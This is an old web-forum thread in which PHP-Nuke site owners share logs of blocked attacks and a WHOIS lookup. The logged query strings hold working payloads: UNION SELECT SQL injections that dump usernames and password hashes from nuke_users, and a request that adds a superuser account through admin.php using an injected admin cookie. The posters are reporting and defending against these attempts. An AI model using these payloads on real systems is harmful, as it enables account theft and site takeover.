Two in a day. =)

Posted: Tue Jun 08, 2004 3:36 pm

Hey,

I don't really know what to do with these... other than report them, which I have. I just figured I'd let everybody see 'em.

Here's the first one.

Quote:

Date & Time: 2004-06-08 15:19:14
Blocked IP: 62.113.89.20
User ID: (1)
Reason: Abuse - UNION
--------------------
User Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Query String: ***********.net/modules.php?name=Downloads&d_op=viewdownload&cid=-1%20UNION%20SELECT%20user_id,%20username,%20user_password%20FROM%20nuke_users/*
Forwarded For: 62.113.89.20
Client IP: none
Remote Address: 62.113.89.62
Remote Port: 37246
Request Method: GET
--------------------
Who-Is for IP
62.113.89.20

Then this one came about 15 minutes later.

Quote:

Date & Time: 2004-06-08 16:52:21
Blocked IP: 217.107.19.86
User ID: (1)
Reason: Abuse - CLIKE
--------------------
User Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.10 [ru]
Query String: ***********.net/modules.php?name=Downloads&d_op=viewdownload&cid=1UNION%20SELECT%20user_id,%20username,%20user_password%20FROM%20nuke_users/*
Forwarded For: 217.107.19.86
Client IP: none
Remote Address: 62.42.228.6
Remote Port: 16890
Request Method: GET
--------------------
Who-Is for IP
217.107.19.86

Like I said... I don't really know what to do with them. I looked 'em up through the whois and reported them to the security email addresses. I recieved auto responders so... I guess that's it huh?

Thanks,

Dan

*NOTE -- I edited the website out because it was a link and I didn't want anyone to accidentally click in to the PC Killer. Wink

That would suck.

Posted: Tue Jun 08, 2004 3:47 pm

lmao good idea I could just see google go through and ...

New Member Joined: Dec 22, 2003 Posts: 21

Here's a cracker.. caught today.

Code:

Date & Time: 2004-06-11 10:34:29


Blocked IP: 200.175.183.133


User ID: Anonymous (1)


Reason: Abuse - AUTHORS


--------------------


User Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322) Query String: www.example.com//admin.php?op=AddAuthor&add_aid=zero&add_name=God&add_pwd=cool&add_email=foo@bar.com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox


Forwarded For: none


Client IP: none


Remote Address: 200.175.183.133


Remote Port: 3735


Request Method: GET


--------------------


Who-Is for IP


200.175.183.133  


          


            








OrgName:    Latin American and Caribbean IP address Regional Registry


OrgID:      LACNIC


Address:    Potosi 1517


City:       Montevideo


StateProv:


PostalCode: 11500


Country:    UY





ReferralServer: whois://whois.lacnic.net





NetRange:   200.0.0.0 - 200.255.255.255


CIDR:       200.0.0.0/8


NetName:    LACNIC-200


NetHandle:  NET-200-0-0-0-1


Parent:


NetType:    Allocated to LACNIC


NameServer: NS.LACNIC.NET


NameServer: TINNIE.ARIN.NET


NameServer: NS-SEC.RIPE.NET


NameServer: SEC3.APNIC.NET


NameServer: NS2.DNS.BR


Comment:    This IP address range is under LACNIC responsibility for further


Comment:    allocations to users in LACNIC region.


Comment:    Please see http://www.lacnic.net/ for further details, or check the


Comment:    WHOIS server located at whois.lacnic.net


RegDate:    2002-07-27


Updated:    2004-03-18





TechHandle: LACNIC-ARIN


TechName:   LACNIC Hostmaster


TechPhone:  (+55) 11 5509-3522


TechEmail:  abuse@lacnic.net





OrgTechHandle: LACNIC-ARIN


OrgTechName:   LACNIC Hostmaster


OrgTechPhone:  (+55) 11 5509-3522


OrgTechEmail:  abuse@lacnic.net

ADMIN EDITED: Link

Posted: Fri Jun 11, 2004 5:35 pm

er.... thanks